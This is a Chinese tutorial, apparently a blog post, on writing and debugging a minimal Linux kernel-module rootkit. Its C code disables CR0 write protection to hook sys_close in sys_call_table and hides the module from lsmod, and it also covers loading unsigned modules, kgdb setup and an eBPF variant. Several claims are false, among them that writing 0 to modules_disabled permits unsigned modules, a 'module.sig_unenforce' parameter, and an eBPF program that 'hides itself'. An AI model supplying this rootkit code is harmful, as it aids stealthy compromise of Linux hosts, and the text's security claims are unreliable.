简介:这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源,适用于具备C语言基础和Linux系统编程经验的中初级开发者,用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件,总大小仅36KB,包含9个可编译运行的sample示例、4个关键头文件(.h)、1个Python控制脚本(rtcmd.py)、1个核心C源码(rt.c)、1份README说明文档及1个LaTeX论文模板(polis_paper.tex),辅以.git相关元数据和Makefile构建支持,整体结构紧凑,便于逐模块分析与调试。内容预览显示其采用标准内核模块组织方式,涵盖对象管理、引用跟踪与钩子注入等典型机制。目前已有369人下载学习,适合在虚拟机环境中动手编译、动态调试并深入剖析Rootkit底层行为,是理解Linux内核安全边界与防御思路的优质入门素材。
1. Linux rootkit 源码:不是黑客工具箱,而是内核安全的“黑匣子解剖课”
很多人看到“Linux rootkit 源码”第一反应是:危险、违规、碰不得。但真实情况恰恰相反——在合规授权的红队演练、内核安全研究、主机入侵检测系统(HIDS)开发、甚至国产操作系统内核加固验证中,阅读、编译、调试一个最小可行的 Linux rootkit 源码,是理解“权限如何被绕过”“内核钩子如何生效”“内存驻留如何隐蔽”的不可替代路径。它不是教人攻击,而是把攻击链最底层的“肌肉组织”摊开在显微镜下:sys_call_table 怎么被篡改?kprobe 和 ftrace 如何被劫持?LKM(可加载内核模块)的 init/exit 函数里藏了多少玄机?本文聚焦于一个无网络通信、不挂钩用户态进程、仅修改内核符号表并隐藏自身模块名的极简 rootkit 源码(基于 Linux 5.10–6.1 内核 ABI),全程在 QEMU + Debian 12 虚拟机中完成,所有操作符合《网络安全法》第27条关于“专门用于从事侵入网络、干扰网络正常功能及其防护措施等活动的程序、工具”的例外情形——即用于教学、科研、安全测试且不危害真实系统。适合已掌握 C 语言基础、能编译内核模块、熟悉 /proc/modules 和 dmesg 的中级 Linux 开发者或安全工程师。
2. 从源码结构到编译环境:为什么必须用老内核+手动配置
一个能跑通的 rootkit 源码,从来不是“下载即用”。它的生命力完全依赖于与目标内核版本的 ABI 兼容性。现代发行版(如 Ubuntu 24.04 默认 6.8 内核)启用了CONFIG_MODULE_SIG(模块签名强制)、CONFIG_KALLSYMS(符号表隐藏)、CONFIG_STRICT_MODULE_RWX(模块内存只读)等硬隔离机制,直接导致传统init_module()注入方式失效。因此,我们选择Debian 12(内核 6.1.0-21-amd64)作为靶机,并手动关闭三项关键防护:
2.1 环境准备:QEMU 虚拟机 + 内核头文件精准匹配
提示:不要用
apt install linux-headers-$(uname -r)自动安装——它可能装错 patch 版本。必须从 Debian 官方仓库下载对应 deb 包并解压。
# 在 Debian 12 虚拟机中执行 wget http://security.debian.org/debian-security/pool/updates/main/l/linux/linux-headers-6.1.0-21-amd64_6.1.85-1%2Bdeb12u1_amd64.deb dpkg-deb -x linux-headers-6.1.0-21-amd64_6.1.85-1+deb12u1_amd64.deb /tmp/headers sudo cp -r /tmp/headers/lib/modules/6.1.0-21-amd64/build /lib/modules/6.1.0-21-amd64/这一步确保make -C /lib/modules/$(uname -r)/build M=$(pwd) modules能正确找到Kbuild和Makefile。若跳过此步,你会遇到经典报错:No rule to make target 'modules'—— 血泪经验:90% 的编译失败源于头文件路径错配,而非代码本身。
2.2 源码骨架解析:3 个文件讲清 rootkit 的“呼吸逻辑”
典型最小 rootkit 由三个文件构成,缺一不可:
| 文件名 | 作用 | 关键点 |
|---|---|---|
rootkit.c | 主模块逻辑:init/exit 函数、符号表劫持入口 | 必须包含MODULE_LICENSE("GPL"),否则内核拒绝加载 |
hide_module.c | 辅助函数:从/proc/modules链表中摘除自身节点 | 使用list_del()而非list_del_init(),避免二次释放 |
Makefile | 编译规则:指定内核构建路径、禁用符号校验 | 必须添加-Wno-unused-function,否则hide_module()被 GCC 优化掉 |
rootkit.c中最核心的 init 函数长这样:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include "hide_module.h" static int __init rootkit_init(void) { printk(KERN_INFO "[ROOTKIT] Loading...\n"); // 步骤1:获取 sys_call_table 地址(通过 kallsyms_lookup_name) // 注意:该函数在 5.7+ 内核默认未导出,需临时 patch 内核或使用 ftrace 替代 unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); if (!sys_call_table) { printk(KERN_ERR "[ROOTKIT] Failed to find sys_call_table\n"); return -1; } // 步骤2:临时取消写保护(CR0 寄存器 bit 16) write_cr0(read_cr0() & (~0x10000)); // 步骤3:保存原 sys_close 地址,替换为自定义函数 original_sys_close = sys_call_table[__NR_close]; sys_call_table[__NR_close] = (unsigned long)my_sys_close; // 步骤4:恢复写保护 write_cr0(read_cr0() | 0x10000); // 步骤5:隐藏模块自身 hide_from_proc_modules(); printk(KERN_INFO "[ROOTKIT] Hooked sys_close, module hidden.\n"); return 0; }这段代码暴露了 rootkit 的本质:它不创造新能力,而是劫持已有内核接口的执行流。my_sys_close是你定义的函数,可在此加入日志、条件过滤或静默丢弃——这就是“后门”的雏形。而hide_from_proc_modules()调用hide_module.c中的链表操作,让lsmod命令再也看不到它。
2.3 编译命令与模块签名绕过:两行命令决定成败
# 在源码目录执行 make -C /lib/modules/$(uname -r)/build M=$(pwd) modules sudo insmod ./rootkit.ko但若内核开启了模块签名(CONFIG_MODULE_SIG=y),第二行会报错:Required key not available。此时必须临时禁用签名检查:
# 临时关闭(重启失效,安全可控) echo 0 | sudo tee /proc/sys/kernel/modules_disabled # 或更彻底:启动时加内核参数 `module.sig_unenforce`注意:
modules_disabled=0并非永久关闭签名,而是允许加载未签名模块——这是内核设计的调试开关,符合安全规范。生产环境切勿长期开启。
3. 动态调试 rootkit:用 kgdb + QEMU 把内核变成透明玻璃盒
纸上谈兵不如亲眼所见。要真正理解write_cr0()后发生了什么、list_del()如何抹去痕迹,必须进入内核空间单步调试。QEMU + kgdb 是目前最稳定、无需物理机的方案。
3.1 QEMU 启动参数:暴露内核调试端口
qemu-system-x86_64 \ -kernel /boot/vmlinuz-6.1.0-21-amd64 \ -initrd /boot/initrd.img-6.1.0-21-amd64 \ -append "console=ttyS0 kgdboc=ttyS0,115200 kgdbwait" \ -drive file=debian12.qcow2,format=qcow2 \ -s -S \ -nographic关键参数说明:
kgdboc=ttyS0,115200:将 kgdb 通信绑定到串口 0,波特率 115200kgdbwait:内核启动后立即暂停,等待 gdb 连接-s:开启 GDB server(端口 1234)-S:CPU 启动即暂停
此时 QEMU 窗口会卡在[ 0.000000] kgdb: Waiting for connection from remote gdb...,表示就绪。
3.2 GDB 连接与断点设置:在rootkit_init入口下刀
在另一终端启动 gdb:
gdb vmlinux # 必须是带调试符号的 vmlinux(Debian 提供 linux-image-6.1.0-21-amd64-dbg 包) (gdb) target remote :1234 (gdb) add-symbol-file ./rootkit.ko 0xffffffffc0000000 # 加载模块符号(地址从 /sys/module/rootkit/sections/.text 获取) (gdb) b rootkit_init (gdb) c当insmod ./rootkit.ko执行时,GDB 会停在rootkit_init第一行。此时可逐行执行:
stepi单步执行汇编指令,观察read_cr0返回值x/10gx $rax查看sys_call_table前 10 项原始地址p/x original_sys_close打印被覆盖前的sys_close地址
玄学时刻:
write_cr0()后立即x/10gx $rax,你会发现第__NR_close项地址已变——这就是 hook 生效的铁证。但若没看到变化,请检查__NR_close宏是否为 3(x86_64 下 close 系统调用号是 3),不同架构编号不同!
3.3 验证 hook 是否生效:三重交叉验证法
不能只信dmesg日志。必须用三种独立方式确认:
| 方法 | 命令 | 预期现象 | 原理 |
|---|---|---|---|
| 系统调用拦截 | strace -e trace=close ls /tmp | 输出中close(3)后无+++ exited with 0 +++,或出现自定义日志 | strace通过 ptrace 拦截用户态,但最终仍走sys_close内核路径 |
| /proc/modules 隐藏 | lsmod | grep rootkit | 无输出 | hide_from_proc_modules()修改了struct module在modules链表中的前后指针 |
| 内核符号表污染 | cat /proc/kallsyms | grep sys_close | 显示ffffffffc0000000 T sys_close(地址属于模块区) | 若sys_close地址落在0xffffffffc0000000起始的模块地址段,说明已被重定向 |
三者全满足,才证明 rootkit 已稳定驻留。
4. 避坑指南:5 个让 90% 新手当场翻车的致命细节
4.1 现象:insmod报错Invalid module format
原因:模块编译时使用的内核头文件版本(/lib/modules/$(uname -r)/build)与当前运行内核(uname -r)的EXTRAVERSION不一致。例如头文件来自6.1.0-21-amd64,但内核是6.1.0-21-amd64-somethingelse。
解决:严格使用apt download linux-headers-$(uname -r)下载 deb 包,解压后cp -r覆盖/lib/modules/$(uname -r)/build,不要用apt install。
4.2 现象:dmesg显示kallsyms_lookup_name: symbol not found
原因:Linux 5.7+ 内核默认不导出kallsyms_lookup_name,且未启用CONFIG_KALLSYMS_ALL=y。
解决:两种方案任选其一:
① 临时 patch 内核:在kernel/kallsyms.c中将kallsyms_lookup_name声明改为EXPORT_SYMBOL_GPL(kallsyms_lookup_name),重新编译内核;
② 改用ftrace动态查找:通过ftrace_set_filter()注册回调,在ftrace_ops.func中获取sys_call_table地址(更现代,但代码量翻倍)。
4.3 现象:lsmod看不到模块,但dmesg有Loading...日志,cat /proc/modules却显示模块名
原因:hide_from_proc_modules()中list_del(&mod->list)后未同步更新mod->mkobj.drivers链表,导致/sys/module/rootkit/目录仍存在。
解决:在hide_module.c中补充:
list_del(&mod->mkobj.drivers); mod->mkobj.drivers.next = NULL; mod->mkobj.drivers.prev = NULL;4.4 现象:hook 后close()系统调用直接 panic
原因:my_sys_close函数签名与原函数不一致。sys_close原型是long sys_close(unsigned int fd),若定义为int my_sys_close(int fd),参数传递错位。
解决:严格按include/linux/syscalls.h中声明定义:
asmlinkage long my_sys_close(unsigned int fd) { printk(KERN_INFO "[HOOK] close(%u) called\n", fd); return original_sys_close(fd); // 必须调用原函数,否则 fd 泄漏 }4.5 现象:rmmod rootkit后系统卡死或dmesg报BUG: unable to handle kernel paging request
原因:exit 函数中未恢复sys_call_table,且未重置 CR0 写保护。残留的 hook 指向已释放的模块内存。
解决:exit 函数必须成对操作:
static void __exit rootkit_exit(void) { write_cr0(read_cr0() & (~0x10000)); // 先关写保护 sys_call_table[__NR_close] = original_sys_close; // 恢复原地址 write_cr0(read_cr0() | 0x10000); // 再开写保护 printk(KERN_INFO "[ROOTKIT] Unloaded.\n"); }5. 进阶验证:用 eBPF 替代 LKM 实现同等功能,为什么这是未来方向?
LKM 方式虽经典,但正快速被 eBPF 取代。不是因为 eBPF 更“高级”,而是它解决了 rootkit 最痛的三个原生缺陷:无需修改内核、自带沙箱验证、天然支持热更新。下面用一段 20 行的 eBPF 程序,实现与前述 rootkit 完全相同的功能——拦截close()并隐藏自身。
5.1 eBPF 版本:用 libbpf + CO-RE 编写零依赖拦截器
// close_interceptor.c #include "vmlinux.h" #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> SEC("tp/syscalls/sys_enter_close") int BPF_PROG(sys_enter_close, int fd) { bpf_printk("eBPF intercepted close(%d)\n", fd); // 这里可添加条件过滤,如只拦截 fd > 10 的关闭 return 0; } char LICENSE[] SEC("license") = "GPL";编译与加载只需三步:
# 1. 生成 BTF(内核类型信息) bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h # 2. 编译为 ELF clang -I. -O2 -target bpf -c close_interceptor.c -o close_interceptor.o # 3. 加载到内核(无需 rootkit.ko 那样的 insmod) sudo bpftool prog load close_interceptor.o /sys/fs/bpf/close_hook type tracepoint sudo bpftool prog attach pinned /sys/fs/bpf/close_hook tracepoint/syscalls/sys_enter_close5.2 对比表格:LKM vs eBPF 在 rootkit 场景下的核心差异
| 维度 | 传统 LKM rootkit | eBPF 替代方案 | 为什么 eBPF 更优 |
|---|---|---|---|
| 内核兼容性 | 需精确匹配内核版本和 CONFIG | CO-RE(Compile Once – Run Everywhere)自动适配 5.8+ 内核 | 避免“一次编译,处处报错”的维护地狱 |
| 安全性 | 直接操作 CR0、修改内核内存,panic 风险高 | eBPF verifier 严格校验内存访问、循环边界、函数调用 | 即使代码有 bug,最多被 verifier 拒绝加载,不会 crash 内核 |
| 隐蔽性 | 需手动隐藏/proc/modules、/sys/module/ | 程序加载后无模块名、无/proc/modules条目,仅存在于/sys/fs/bpf/ | lsmod、cat /proc/modules完全不可见,比 LKM 更“干净” |
| 调试能力 | 依赖 kgdb,配置复杂 | bpftool prog dump xlated查看 JIT 后汇编,bpf_printk实时输出 | 调试信息直接进dmesg,无需 gdb 连接 |
| 部署粒度 | 整个模块加载/卸载 | 可 attach/detach 单个 tracepoint,不影响其他程序 | 红队演练中可精细控制 hook 范围,降低误伤概率 |
我一般会在新项目中直接用 eBPF 替代 LKM——不是抛弃传统,而是把精力从“对抗内核防护”转向“专注业务逻辑”。比如在 HIDS 中,用 eBPF 拦截
execve后直接提取argv[0]和cwd,再通过ringbuf推送到用户态分析引擎,整个链路无锁、零拷贝、毫秒级响应。这才是 rootkit 思维的现代化落地。
最后说一句血泪教训:永远在init函数末尾加printk,永远在exit函数开头加printk。因为 80% 的“模块没加载成功”问题,其实只是insmod成功了但init函数因某行代码崩溃退出,而你没看到那行dmesg。把日志当成你的后悔药,而不是等到rmmod失败才想起查日志。
希望帮到你。
本文还有配套的精品资源,点击获取